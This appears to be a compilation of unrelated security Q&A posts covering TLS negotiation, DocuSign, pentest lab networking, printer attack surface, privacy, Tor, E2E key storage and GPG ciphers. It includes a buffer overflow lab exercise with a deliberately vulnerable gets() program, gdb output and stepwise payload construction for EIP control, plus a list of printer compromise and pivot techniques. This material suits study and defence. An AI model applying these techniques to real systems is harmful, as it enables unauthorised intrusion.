Regarding DocuSign, why can the document originator sign as me? I recently completed a loan process at a bank.  When I went to the bank to close, the banker had the closing documents in DocuSign up on his computer, and he was able to sign AS ME.   How can this type of signature be valid since he could have "signed" as me without me being there at all?

They were able to sign on your behalf using DocuSign's Send On Behalf Of Functionality (SOBO).

This is not currently part of basic DocuSign accounts but it is a feature they do offer:

https://www.docusign.com/developer-center/explore/features/sobo

Contractually your banker was probably doing this as your "banking agent" which is fairly normal for a number of banking activities and transaction types.

It would seem that your banker may have taken a calculated risk in doing so if you had not yet authorized him/her to do so. If you had given authorization in some other manner, for example, via e-mail or even verbal confirmation on the phone that may have been enough for the banker to finish the task on your behalf using DocuSign's SOBO functionality. Most likely your banker was simply following your bank's normal process and simply acting as the banking agent when signing this for you.

Note: Your local laws may vary. It's important to note that every jurisdiction globally will have different laws and/or acceptable banking practices under which the use of digital signing may or may not even be compliant.


What exactly determines what version of SSL/TLS is used when accessing a site? If I click on the little lock icon in Chrome it says that the site in question is using TLS v1.  I also checked using openssl and was able to hit the site using TLS1, SSL2 and SSL3.  From what I understand SSL2 is not secure.  Based on this, it appears that the site could be hit using any of the three.

What determines the version of SSL/TLS that will be used when accessing a secure site from a web browser?

As @Terry says, the client suggests, the server chooses. There are details:

The generic format of the first client message (the ClientHello) indicates the highest supported version, and implicitly claims that all previous versions are supported -- which is not necessarily true. For instance, if the client supports TLS 1.2, then it will indicate "max version: 1.2". But the server may then elect to use a previous version (say, TLS 1.0), that the client does not necessarily want to use.
Modern clients have taken to the habit of trying several times. For instance, a client may first send a ClientHello stating "TLS 1.2", and, if something (anything) fails, it tries again with a ClientHello stating "TLS 1.0". Clients do that because there are poorly implemented, non-conforming TLS servers who can do TLS 1.0 but reject ClientHello messages that contain "TLS 1.2".

An amusing consequence is that an active attacker could force a client and server to use an older version (say TLS 1.0) even when both support a newer protocol version, by forcibly closing the initial connection. This is called a "version rollback attack". It is not critical as long as client and server never accept to use a definitely weak protocol version (and TLS 1.0 is still reasonably strong). Yet this implies that a client and server cannot have a guarantee that they are using the "best" possible protocol version as long as the client implements such a "try again" policy (if the client did not implement such a "try again" then the rollback attack would be prevented, but some Web sites would become seemingly unreachable).
The ClientHello message for SSL 2.0 has a very distinct format. When a client wishes to support both SSL 2.0 and some later version, then it must send a special ClientHello which follows the SSL 2.0 format, and specifies that "by the way, I also know SSL 3.0 and TLS 1.0". This is described in appendix E of RFC 2246. Modern SSL clients (Web browsers) don't do that anymore (I think IE 6.0 still did it, but not IE 7.0).

RFC 4346 (TLS 1.1) specifies that such SSLv2-format ClientHello messages will be "phased out" at some point and should be avoided. RFC 5246 (TLS 1.2) more clearly states that clients SHOULD NOT support SSL 2.0, and thus should have no reason to send such ClientHello messages. RFC 6176 now prohibits SSL 2.0 altogether.

Now a RFC is not a law: you don't go to jail because you don't support any particular RFC. However, RFC still provide guidance, and thus somehow illustrate what will be the state of things in the near (or far) future.

In practice:

Most clients out there will send only SSLv3+ ClientHello messages, and will happily connect with SSL 3.0, TLS 1.0, TLS 1.1 or TLS 1.2, depending on what the server appears to support (but, due to the "try again" policy, a version downgrade can be forced upon by an active attacker).
Actually, some clients won't support SSL 3.0, and require TLS 1.0.
Similarly, some clients won't support TLS 1.1 or 1.2. Web browsers have been updated in the recent years (in the aftermath of the bad press resulting from the BEAST attack) but non-browser applications are rarely as aggressively maintained.
Many server still accept a SSLv2 ClientHello format, as long as that ClientHello message is a SSLv3+ ClientHello in disguise.
A few servers, like yours, are still happy to do some SSL 2.0. This does not conform to RFC 6176, and is frowned upon (people who believe in "grading SSL servers" will give you a bad score for that). This is not a serious security issue, though, as long as clients don't actually support SSL 2.0. Even if a client supports SSL 2.0, it should include some rollback-prevention trickery (described in RFC 2246) so a rollback down to SSL 2.0 should not work.

You still want to deactivate SSL 2.0 support in your server (not necessarily SSLv2 ClientHello format, but actual SSL 2.0 support), if only for public relations.


VirtualBox Pen Test Lab Setup So i'm trying to set up a pen test lab in virtual box on my windows 7 host.

I have 3 guest OS's installed:
1.) BackTrack5
2.) Centos 5 Server/Snort (My Snortbox)
3.) Win XP (Unpatched)

I have 3 Ethernet adapters created IP'S
192.168.191.1
192.168.127.1
192.168.56.1

My goal is to use BackTrack5 to nmap the Win XP guest and have the snort box sniff the network.

I'm new to networking and virtualization and I need help setting up my virtual network to get this to work. What should I do? All help appreciated

Centos:
Adapter1: NAT
Adapter2: Host-only
Adapter3: Internal Network

Backtrack:
Adapter1: Internal Network

XP:
Adapter1: Internal Network

Also take for granted I'm on a University Network with a ridiculous firewall so I need to stay all within the host.

I'm trying to set this network up so that all my guest systems can communicate with each other, as well as the Internet.  Currently, only the CentOS guest is able to connect to the Internet.  How can I achieve my desired network configuration without causing problems on my university's network?

There's a few problems with your configuration as it stands, and some other concerns which should be addressed regarding setting up a pentesting lab in a shared network environment.

Firstly, only systems with a Bridged or NAT adapter will be able to communicate with anything beyond the VM network and/or host system.  A quick summary of common VirtualBox networking modes will help explain this:

Internal Network:  One of the most restrictive networking configurations, this will only allow communication among guest systems in the Internal Network of the same name.
Host-Only Adapter:  The other most restrictive configuration, this will only allow communication between the guest and its host.
NAT:  This is the most controlled means by which you can allow the guest systems to communicate beyond the host.  In this configuration, the host system acts as a NAT router between the external network and the guest systems' network.  All guest systems using this configuration should be able to communicate with each other and the host, as well as any external systems.  However, port forwarding will be needed if you wish to expose some services of the guest systems to external systems.
Bridged:  This configuration joins the guest computers to the external network as if they were completely separate systems.  It allows the most seamless possible communication between the guests and the outside network.  The guest systems should be able to communicate with the Internet and other systems on the external network, just as easily as those systems already communicate with each other.

You can read more about these networking modes, and more, in the VirtualBox manual under chapter 6:  http://www.virtualbox.org/manual/ch06.html#networkingmodes

Your second problem, I'm presuming, is with your IP configurations.  Assuming that all of your systems are configured to use the default subnet masks for the IPs they've been configured on, all of your systems are effectively on three different networks.  Without a router or two between them, or a different subnet mask configuration, they will not be able to communicate with each other.  To understand this better, you'll need to read up on some materials covering basic network routing and switching.

All you really need to understand, so that these devices can communicate with each other and the outside, is that every 255 in the subnet mask represents a portion of the system's IP which must match the IPs of other systems which are to be considered part of the local network.  The zeroes in the subnet mask represent portions of the IP which are used to uniquely identify systems on the local network.  You should try to learn much more about networking before exercising this knowledge though, and especially before attempting to conduct any sort of penetration testing exercises on a system connected to a network you do not own.

So, in order to get your guests to communicate with other systems, including each other and the outside world, you need two things:

A compatible guest network adapter configuration.
A properly configured IP address and subnet mask.

For local network communications, the IP address and subnet mask must be compatible with those of the target systems.
For Internet communications, the IP address and subnet mask must be compatible with the router providing the Internet link.  The system will also need to be told the IP of that router (configured as the "gateway"), and appropriate DNS servers.

Having covered this, there is another issue that should be addressed.

Penetration testing and network monitoring are very sensitive activities which should not ever be performed on a network where they are not authorized.  Your university's network would most likely, to you, be one such network.  Therefore, you should be very mindful to not conduct these activities while your guest systems are connected to the external network.

Before enabling any Bridged or NAT adapters - and, for your host system's protection, any Host-Only adapters - make sure that all software and services used for your penetration testing or network monitoring exercises have been stopped and/or disabled.
Only enable Bridged or NAT adapters when needed, to download new software or updates to the guest systems.  Disable those adapters after the need has been fulfilled.
Before performing any penetration testing exercises, or network monitoring, make sure that all Bridged or NAT adapters are disabled.  To avoid causing problems with your host system, you may also wish to disable any Host-Only adapters.

Again, before you do more in terms of penetration testing or network monitoring exercises, you should strive to gain a much better understanding of how computer networks work.


Attacking an office printer? I did an nmap scan on an advanced office printer that has a domain name and is accessible from outside the corporate network. Surprisingly I found many open ports like http:80, https:443, and svrloc:427 and some others. The OS fingerprint says somewhere: "...x86_64-unknown-linux-gnu...", which may indicate that this is some sort of an embedded Linux running some server software for the printer's functionality.

How can I know whether this printer is increasing the attack surface on the network? For example, can it be exploited through a remote privilege escalation vul. and then launch a tunneling attack on other hosts in the network?

You can have some serious fun playing with printers, photocopiers and other such devices - even UPSes. Security is usually an afterthought at best, if not totally absent.

Stuff I've seen:

Default credentials used everywhere, and web-based config panels storing passwords in plain-text, often within a generated config file. I've never seen anything better than plain MD5 on passwords, and in one case I saw CRC32.
Document names and usernames leaked via SNMP, usually via open read access to the device and over SNMPv1/2 where no transport security is used.
Default or hilariously weak SNMP private namespace names (usually "private", "SNMP" or the manufacturer name), allowing you to reconfigure TCP/IP settings, inject entries into the routing table, etc. remotely, and there are often ways to alter settings that can't be set in the control panel. It's pretty trivial to soft-brick the device.
UPnP enabled on the device in default setup, allowing for more remote configuration fun. Often you can print test pages, hard-reset the device, reset web-panel credentials, etc. Again it's usually possible to modify TCP/IP settings and other networking properties.
Very outdated 2.2.x and 2.4.x kernels, often with lots of nice root privilege escalation holes.
Badly written firmware upgrade scripts on the system, allowing you to flash arbitrary firmware to internal microcontrollers. You could use this to brick the device, or install a rootkit if you're willing to spend a lot of time developing it.
Custom or old SMB daemons, often vulnerable to RCE. Easy to pwn remotely.
Services running as root, user groups set up incorrectly, file permissions improperly set.
Printing jobs ran asynchronously by executing shell scripts, making it easy to escalate your privileges up to that of the daemon (often root).
Poorly written FTP servers built into the device. I'd bet good money that a fuzzer could crash most of those FTP daemons.
All of the usual webapp fails, but especially file upload vulnerabilities.

Here's where things get extra fun. Once you've pwned the printer, you can usually get hold of usernames and other juicy information from SMB handshakes. You'll also often find that the password to the printer's web control panel is re-used for other network credentials.

At the end of the day, though, the printer is an internal machine on the network. This means that you can use it to tunnel attacks to other machines on the network. On several occasions I've managed to get gcc and nmap onto a photocopier, which I then used as a base of operations.

What's the solution? First, you need to recognize that printers and photocopiers are usually fully-fledged computers, often running embedded Linux on an ARM processor. Second, you need to lock them down:

Update the firmware of the device to the latest version.
Firewall the printer off from the internet. This should be obvious, but it's often missed. TCP/IP-based printers / photocopiers usually bind to 0.0.0.0, so they can quite easily sneak onto the WAN.
If you can make the printer listen only to traffic from the LAN, do so.
Change the default credentials on the web control panel. Again, obvious, but still not done very often.
Find any services running on the device and attempt to break into them yourself. Once you're in, change passwords and turn off what's unnecessary.
Get yourself an SNMP discovery tool and dig around what's available for your printer. SNMP has a bit of a learning curve, but it's worth taking a look.
If you do internal network monitoring, set up a rule to watch for anything unusual coming out of the printer. This cuts false positives right down and gives you a good indication of when something dodgy is happening.

All in all, if it's a device plugged into your network it is probably pwnable, and should be part of your risk management.


Ingress and Pokémon GO collect a lot of data - what impact could this have on my privacy or security? The Augmented Reality games from Niantic, Ingress, (where players travel to specific GPS locations to destroy and rebuild virtual targets, link locations, and team up with other players in order to carry out missions) and Pokémon GO (a reworking of the original Pokemon game that requires players to physically move to the same locations as in Ingress to capture and train Pokémon)

There are some immediate implications which all players are aware of, such as the risk of playing this game at night, standing in dark locations staring at a phone or tablet - which might make you a target for a mugger - but from a privacy perspective, the data Google are getting could include location, who you meet up with, favourite routes etc - which could be extrapolated to find your place of work etc.

So what sort of things could Google or other observers do that could affect my privacy or security?

The range of possibilities is literally infinite, since the data collection and aggregation typically plays only a minor role in the overall malfeasance, whatever that may be.

Typically the worry surrounding location and other PII data is that it could be used to "identify" you in some context. By analyzing where you go, they may be able to deduce your favorite bar or club. Maybe they can deduce what sort of music you like by correlating that with band schedules. Perhaps if they want to steal your work, they'll send someone to meet you, seemingly by chance, who will steal your secret access tokens and leverage that to gain access to your encrypted files and steal the plans to your super top-secret thingamajig that clearly is important for this particular movie plot. If you aren't afraid about esoteric privacy risks, then clearly you don't watch enough television.

Aside from the far-flung movie-plot concerns which so typically drive legislation, here are the risk we know about for certain. These are things that happen today:

Law enforcement and similar Government Agencies use location data (typically freely-provided by the telephone company) to follow the behavior of persons of interest. Currently there is no automatic profiling going on here; you have to be "interesting" before you'd be watched, because someone actually has to be paid to look at this data. Perhaps your picture appears on two different passports, or perhaps you received a large deposit of money loosely connected with another investigation. But location data serves as a crude but inexpensive sort of surveillance useful to determine where to focus more costly resources.
Certain less-scrupulous organizations use location data (and anything else they can grab) for purposes of corporate espionage. We know that groups tied to the Chinese government or military use techniques both high-tech and low-tech, involving people as well as machines, to "acquire" corporate knowledge, including business practices, material science, manufacturing techniques, financial transactions and projections, and very nearly anything of value. It would not be even moderately surprising to see an attack on the Ingress servers in order to exfiltrate location data as part of another more complex attack. The scope of these operations is truly impressive by any standard.
More traditional organizations use personal data to lower costs. "We know that half of our advertising costs are wasted, but we don't know which half." Correlating identity with behavior is valuable in avoiding wasted advertising: advertising tampons to men is typically a wasted effort. The more specific the details you can acquire about a person, the better you can avoid deluging him with inappropriate messages.  Ironically, this use of personal information is by far the least damaging (and arguably in fact beneficial), and yet it is also the most vilified.

We like to protect ourselves against personalized advertising, not because it does any damage, but because it's the only thing we typically see. We implicitly know that personal information can be used against us and therefore there is some safety in privacy. And we believe that this information is being used against us. But we don't worry about law enforcement and we don't see the espionage. We do see advertising, though. And for lack of a clearer villain, we fortify against that.


Unable to overwrite EIP register Source code for both programs at the end of the post

So, I've working through Hacking: The Art Of Exploitation, and so far so good. I've managed to control EIP in the vulnerable program notesearch.c.

gdb-peda$ run $(perl -e 'print "a"x112 . "bbbb"')
Starting program: /root/hacking/booksrc/notesearch $(perl -e 'print "a"x112 . "bbbb"')
[DEBUG] found a 5 byte note for user id 0
[DEBUG] found a 7 byte note for user id 0
-------[ end of note data ]-------

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers----------------------------------    -]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff300 ('a' <repeats 36 times>, "\003")
EDX: 0x0
ESI: 0x2
EDI: 0xb7fb5000 --> 0x1b3db0
EBP: 0x0
ESP: 0xbffff300 ('a' <repeats 36 times>, "\003")
EIP: 0x61616161 ('aaaa')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction     overflow)
[-------------------------------------code------------------------------------    -]
Invalid $PC address: 0x61616161
[------------------------------------stack------------------------------------    -]
0000| 0xbffff300 ('a' <repeats 36 times>, "\003")
0004| 0xbffff304 ('a' <repeats 32 times>, "\003")
0008| 0xbffff308 ('a' <repeats 28 times>, "\003")
0012| 0xbffff30c ('a' <repeats 24 times>, "\003")
0016| 0xbffff310 ('a' <repeats 20 times>, "\003")
0020| 0xbffff314 ('a' <repeats 16 times>, "\003")
0024| 0xbffff318 ('a' <repeats 12 times>, "\003")
0028| 0xbffff31c ("aaaaaaaa\003")
[-----------------------------------------------------------------------------    -]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x61616161 in ?? ()
gdb-peda$

However, once I write my own, very simple buggy code and try to control EIP, this happens

gdb-peda$ run
Starting program: /root/vulnerable
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbb

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x41414141 ('AAAA')
EDX: 0xb7fb687c --> 0x0
ESI: 0x1
EDI: 0xb7fb5000 --> 0x1b3db0
EBP: 0x41414141 ('AAAA')
ESP: 0x4141413d ('=AAA')
EIP: 0x804841d (<main+50>:  ret)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048416 <main+43>: mov    ecx,DWORD PTR [ebp-0x4]
   0x8048419 <main+46>: leave
   0x804841a <main+47>: lea    esp,[ecx-0x4]
=> 0x804841d <main+50>: ret
   0x804841e:   xchg   ax,ax
   0x8048420 <__libc_csu_init>: push   ebp
   0x8048421 <__libc_csu_init+1>:   push   edi
   0x8048422 <__libc_csu_init+2>:   push   esi
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x4141413d
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804841d in main ()
gdb-peda$ p/x $eip
$1 = 0x804841d
gdb-peda$

I don't get anything, shouldn't ESP remain unchanged (as it isn't stored in the stack) and EIP get overwritten?

You can find notesearch.c @ https://github.com/intere/hacking
Below is my alledgedly "exploitable" program.

Needless to say, I have ASLR disabled and the programs are compiled with -fno-stack-protector and -zexecstack flags. Should you need more info, drop a comment.

#include <stdio.h>

int main(){
    char *buffer[64];
    gets(buffer);
    return 0;
}

Your code is wrong:

#include <stdio.h>

int main(){
    char *buffer[64];
    gets(buffer);
    return 0;
}

The char *buffer[64] creates an array of pointers to chars.

Try again with this:

#include <stdio.h>

int main(){
    char buffer[64];
    gets(buffer);
    return 0;
}

Run it at IDEone.

Actually, I can see quite a few reasons why this didn't work. Let's follow through your assembly:

   0x8048416 <main+43>: mov    ecx,DWORD PTR [ebp-0x4]

Since ebp-0x4 is a location within your input buffer, ecx is loaded with 0x41414141.

   0x8048419 <main+46>: leave

This clears the current stack frame, basically setting esp to ebp, then pops the top value off the stack into ebp to restore the previous frame pointer. You can again see that ebp was set to 0x41414141, because the top item in the stack was still part of your buffer.

   0x804841a <main+47>: lea    esp,[ecx-0x4]

This loads the effective address of ecx-0x4 into esp. Think of lea like a convenient pointer math instruction. In this case it's literally just doing esp = ecx - 0x4. This is why your esp value is 0x4141413d.

=> 0x804841d <main+50>: ret

A ret instruction sets eip to the top value in the stack. The problem here is that your stack pointer is set to invalid memory. You overwrote it with 0x4141413d.

Why did this happen? Your payload is almost certainly too long, for a start, but there's a difference in the assembly between what your code does and what the example code did. However, there's a silver lining: you have control of the stack pointer immediately before a ret instruction. This means you only have to point esp at some memory you control, and you get eip control.

What you want to do is run the code until you get to <main+43>, then work out offset in your payload has been placed at ebp+0x4. You can make this a bit easier using a tool such as Metasploit's pattern_create.rb, but just observing the values in the stack should be sufficient to work it out manually.

So, let's imagine that 80 bytes into your payload is where the application reads that value from. Your payload now wants to start with 'A' * 80. After this, encode the address of the stack minus 8 bytes into the payload. So, if the stack pointer at that point was 0x4120EC40, subtract 8 to get 0x4120EC38, then place \x41\x20\xEC\x38 into your payload after all the A values.

When you next run the program, what should happen is this:

0x8048416 <main+43>: mov    ecx,DWORD PTR [ebp-0x4]
; [ebp-0x4] contains an address slightly further up the stack (0x4120EC38)
; all the memory around this address contains 0x41414141
0x8048419 <main+46>: leave
; leave the stack frame, setting esp and popping ebp
; both registers are trashed but it doesn't matter
0x804841a <main+47>: lea    esp,[ecx-0x4]
; subtract 4 from 0x4120EC38, giving us 0x4120EC34
; then set esp to this value - [esp] is now 0x41414141
0x804841d <main+50>: ret
; pop the top value off the stack and set eip to it
; eip is now 0x41414141

You win.

As an addendum, you may run into the problem that you can't encode the stack address into your payload because it contaisn a null byte. You can get round this by shortening your payload so that it only partially overwrites the stack frame pointer, so you can change the least significant byte (or two bytes) allowing partial control over esp to point it further up the stack, rather than totally overwriting it.


Is it possible to specify a content security policy in browsers? Normally, content security policies are sent in the response headers by the server to the client browser telling it what is and is not acceptable to load on the site.  Is there a way to do this in reverse, so that you write a content security policy for your browser, for each site, and then it only loads the resources that are allowed by you on that particular site?  This would be possible if you wrote your own browser, but I am wondering if any of the current major browsers have this ability built in yet, without having to create or install a plugin.

No browsers that I know of has this built in.

It would surely be possible to build such a plugin but it wouldn't really be useable. Why? Setting a CSP just for one site can be a pain in the a** even when it is done by the people maintaining it. Even if you know your site well, it is not trivial to know exactly what domains things are loaded from. Make one mistake, and boom, you break something in a far off corner that you might not even notice.

Now imagine that you have to do this for all sites without even knowing how they are built. Will Stack Overflow break if I disable inline JavaScript? I have absolutely no idea. And more importantly, it would take forever to figure out. Now multiply that by thousands to cover all the sites you visit.

I am sure there are creative ways that the user experience could be smoothed out, but in the end this would just be a usability nightmare.


Is it practicable to use font to visually decrypt ciphertext The aim is to avoid article easily copied by Web crawlers.

Cipher the text with a substitute cipher.
Generate a font that counteracts the substitution and transfer to Web front-end. (This works by having text characters render as their substitute instead of their actual character.)
When the browser render text with this font, the user can read the actual text directly.
Users read as usual. Crawlers see gibberish. Goal Achieved.

It is not quite clear how you exactly imagine it. But given the description so far I assume that you just map for example the character "Z" to something shaped "A" and then replace every A in your page with Z which will be displayed as A on screen due to the special font.

Apart from being a nightmare for any user relying on screen reading it is probably easy to crack to: For one one could use OCR to find the real text, compare this with the HTML source code and thus build a mapping between source code character and displayed character. Even this might not be needed because one could do some statistical analysis of the HTML source code and some comparison again a dictionary to get the mapping between source code character and displayed character because this is essentially just a substitution cipher based on single letters.

  This font is create with some One Time Pad key.

I'm not sure what you really mean with this. But it might mean that every mapping between character in source code and displayed character is done only once instead of reusing the same mapping all the time as I've described above. While you don't have an easy to crack substitution cipher this way it means that you would need a lot of fonts for each HTML page. This would be even more be a usability nightmare than with a single font. But, OCR could still be used to extract the text. Essentially the protection is about the same as you would just make a photo of the page and just put this photo online.

Thus essentially: it makes it a bit harder for web crawlers but at the cost of making it harder for end users too.


Someone got my IP address, and I'm scared they might find me Around a year ago, I was on Reddit and clicked on a hyperlink, not knowing it grabs your IP. Ever since then, the person who grabbed my IP would sometimes comment on my Reddit posts and comments saying things like "I can't wait to meet you" and things similar to that. Should I be scared, or are they just trying to scare me for fun? (Also, their YouTube channel is called ChupplesTheClown, as the link I clicked redirected me to one of their videos.)

You can check what information your IP address reveals about you using free tools such as ipaddress.com
As mentioned in comments, they will not get the accurate location. They might just get the location of the cell tower your router is connected to but that's it.


Secure the Datacenter, untrust the LAN? In a scenario where you have a Wireless network provisioned as untrusted behind a firewall, using VPNs to reach the trusted Datacenter. Does anyone have an reason why this should/not be expanded to include the wired edge ports - essentially bringing the firewall around the datacenter and making the LAN untrusted. It would save deploying 802.1x and allow network sharing with other partners.

It all depends on your security model, but as Google recently found out, even if you own the link between your servers, you still can't assume that it's secure.

The idea of hardening the edge of your network with appropriate protection and then playing "anything goes" with the internals is a popular tactic, but one which has significant, disastrous security implications. Once your perimiter is breached, you have no protection. And company after company has discovered that a perimiter breach is not as impossible as your network planning diagram would suggest.

Ideally, you should have host-to-host encryption and security, with each node an individually-secured island. Doing this correctly can range anywhere from "expensive and complicated" to "crazy-expensive and mind-blowingly-complicated", but if you design your system right, you should be able to safely expose your entire internal network to the public Internet. Of course, you would never actually do that, but you should be able to. That's defense in depth.


Downloading files using Tor I have the Tor Browser Bundle installed and have been using the Firefox Tor browser. If I attempt to download a file or email attachment I get the following warning

I understand that if I download an untrusted file containing a script it could reveal my IP address. However, I want to know if my IP address is still completely hidden if I download a web based email attachment such as Word, Excel or other file that I trust?

Ah, trust, that fickle thing...

Tor provides anonymity for the download part. A download is: to obtain a sequence of bytes. What you do with these bytes is then completely up to you.

Some sequences of bytes encode executable instructions that a computer will be eager to run. Executable files, scripts... fall in that category. If the file you download contains instruction, and these instructions have been designed to be hostile to you and your anonymity, and you execute them nonetheless, well, then you get what you asked for. The warning popup displayed by Tor is a kind of disclaimer: it reminds you that the magic of Tor stops at the downloading, but does not guarantee that the file you obtained is not full of nastiness.

Now for Word documents. Theoretically, a Word file contains the description of a written document, possibly with pictures; but, in practice, a Word document can embed just about anything, including executable applications. Word also supports a complex system of macros, which are, by any reasonable definition, a programming language. Thus, "opening" a Word document is quite akin to running a script. And, indeed, macro virus do exist.

Even with macros disabled, some nifty attacks against anonymity can be performed with Word files. For instance, Word documents can be signed. Word will want to verify this signature, which means first validating some X.509 certificates, which in turn may make your computer download some intermediate CA certificates and/or CRL by following URL found in the certificates themselves. As such, a Word document which you merely open may imply network activity to target names that are embedded in the document (well, in certificates which are embedded in the document). The nice part is that these accesses will be performed by some system components which may completely disregard your browser configuration -- thus happening outside of the Tor umbrella. Goodbye anonymity !

So don't open potentially hostile Word documents. However, if you trust the file, then there is no problem, yes ? At least as long as you can be sure that the file you got is really the one you believe it is... Amusingly enough, digital signatures can help you there, but the mere act of verifying the signature can entail activity which makes you totally non-anonymous, as explained above.

(The same applies to PDF, Excel...)


Can we store sensitive client information with the admins without them(admins) identifying it? I am trying to design a pairing application for my university this valentine.  How is it supposed to work, you ask?? The clients will submit preferences specifically names to the server and after some days if any two clients have the same preferences, they will be notified -- not in any other case. A fool-proof framework design needs to be built for this purpose. What I am willing to do is to ensure my clients that even though they will be submitting their favourite responses to me via my website, I will still not be able to see those as if I would, this application will have issues of privacy. I am trying to match the user preferences with each other, they will obviously be encrypted and there is no way I can match any two unless I decrypt them at some point in my server locally -- assuming the fact that RSA encryption mechanism has a very little probability of collision of hashed values and I definitely cannot match them :) . The bottleneck here then is >> never ever decrypt the client preferences locally on the admin's machine/server. One approach which is currently on my mind is to introduce a salt while encrypting which will stay safe in the hands of the client, but still decryption needs to be done at some point in time to match these hashes. Can there be some alternative approach for this type of design, I think I might be missing something.

I will assume that clients answer a series of n boolean questions.  The server stores their answers in such a way that you that admin can not know their responses.  Then the server identifies pairs of clients with identical responses.

Then could not you the admin (or anyone really) create 2^n dummy accounts (all possible responses to the boolean questions).  The server forms pairs.  Now you know everyone's responses.

So I do not think this is possible.  (Did I miss something?)


Need some clarification regards end-to-end encryption process Let's say I want to make a messaging(just an example, take it as any data) web(react + node) application(more like an email rather than chat) with end-to-end encryption. So at some point, I will want to send an encrypted(with public key) message and the recipient will need to decrypt it(with private key). Now, say I want to make an encryption process happen on the client(isn't always should be on the client?), so:

user_1 want to send a message to user_2
user_1 requests public key of user_2
user_1 encrypt his message with public key from step 2 and sends it
user_2 receive the message and decrypt it with his private key

Now, all sounds great, but...:

For good UX, a user should know/care only about his own password and all the encryption should magically happen(right?), so generating and storing private key should be done behind the scenes. But how exactly? Storing private key encrypted with user's password, and on the Auth process, send it to the client and then decrypt the private key and store locally for the session. Is that really supposed to be like that?
Where to store the private key then exactly? Storing in local host isn't really nice due to XSS, storing inside a cookie(secured, samesite etc) also isn't nice due to same XSS and CSRF. Where then?
Also, it isn't really clear how to secure the connection between the client and the server. Is using SSL(https) really enough? What else can be done?

There are many ways that private key can be stored by the client in a web-based end-to-end encryption application.
One way is not to store the key it at all, but instead, derive the key from a password.  The user enters a password, then the private key is derived from the password using a key derivation function, such as PBKDF2.
Another way is to use the Web Crypto API to store the private key in a CryptoKey object, then store the CryptoKey object in the web browser's indexDB storage.  See https://crypto.stackexchange.com/questions/35530/where-and-how-to-store-private-keys-in-web-applications-for-private-messaging-wi/52488#52488 for more info on this method.
Another way of storing the private key is the way that ProtonMail does it.  The private key is encrypted using another key derived from a password, then the encrypted private key is stored on their server.  See https://protonmail.com/support/knowledge-base/how-is-the-private-key-stored/ for more info.
Yet another way of storing a private key is the way that EncryptedSend does it (full disclosure, I am the developer of EncryptedSend).  The private key is encrypted using another key derived from a password, then this encrypted blob is written to a file that the user stores on his/her system.  To begin a session, the user simply provides this file and the password, then the private key is used both to decrypt messages and authenticate the user with the server.


Firebug appears to be decrypting SSL traffic: is it the correct behaviour? In my company we were writing a small web application which would be hosted and tested under HSTS protocol.

One of my tester complained that the username and password can be seen in cleartext so it is insecure. I replied that due to HSTS implementation it cant be decrypted. I pointed out wireshark logs and proved that it is encrypted.

My tester pointed out Firebug of his own browser and said that it is displaying cleartext username and password so it is insecure.

From the above, here are my analysis and questions:

Since HSTS enables security when the data moves from browser to web sever, Firebug is just a browser plugin, it knows everything in the DOM tree so it can view forms fields, usernames and passwords.
Is it possible to disable Firebug from identifying dom tree?
Does revealing the content from Firebug is really a vulnerability? If yes how can I mitigate it?

Sounds like there is some confusion over the protections that different parts of your system provide.

HSTS enforces HTTPS for users who have previously visited the site over HTTPS, for a given period. If a user has never visited the HTTPS version of a site, and the site is also available over HTTP (without a redirect to HTTPS), it will do nothing - the traffic will be unencrypted.

Firebug accesses data after decryption - it's a debugging tool. If the browser can see it in clear, Firebug can see it in clear. This is not a vulnerability, unless the website is sending data which shouldn't be sent (e.g. passwords from server), in which case the vulnerability lies with the website, not with Firebug.

If you are sending passwords from the server to the client, you have a problem - this should never be required. Passwords should be considered as a one way thing - users type them in, and they are checked on server side. This minimises the chance of any passwords being discovered without a larger server compromise.


What is the most robust available algo for GPG symmetric encryption? What is the most robust available algo for GPG  symmetric encryption (given as argument of --cipher-algo)?

Possible ciphers:

IDEA
3DES
CAST5
BLOWFISH
AES
AES192
AES256
TWOFISH
CAMELLIA128
CAMELLIA192
CAMELLIA256

Use AES-256 (because it stops people from lecturing you about quantum computers).
If you don't have particular (performance) requirements in mind, 256-bit AES is a good and safe choice. But that doesn't mean there are practical attacks against the other ciphers. Ultimately, it's a matter of personal preference since nobody can predict which theoretical observations might work as  practical attacks in the future.
In fact, you can also safely use AES-128, which is about 30% faster. There is a bit of a disagreement whether it's worth switching from AES-128 to AES-256: Doubling the key size doesn't prevent any current attacks because searching the key space is not practical either way. However, the difference becomes  important when at some point in the future quantum computers might be able to execute Grover's algorithm which effectively halves the key size and hence could make brute-force attacks against AES-128 feasible. But that's a theoretical future scenario. The article "Guess why we're moving to 256-bit AES keys" is a good read on AES key sizes.
Similar to @SteffenUllrich I'm comfortable with the AES family because due to its status as a NIST standard, AES has been studied extensively and it has been around for quite a while without anyone having published any concerning weaknesses.
The GnuPG FAQ has an opinion, too:

11.10 What are the best algorithms in GnuPG?
MD5 and SHA-1 should be avoided if possible, and for bulk encryption it’s best to use Camellia, Twofish, or AES. Beyond that guidance there is no “best algorithm” in GnuPG. It’s sort of like asking whether Godzilla or King Kong is better at terrorizing urban cities: there is no clear-cut winner.
This is not to say you shouldn’t have preferences, though. It is only to say that GnuPG’s algorithms are so well-designed for what they do that there is no single “best”. There’s just a lot of personal, subjective choice.


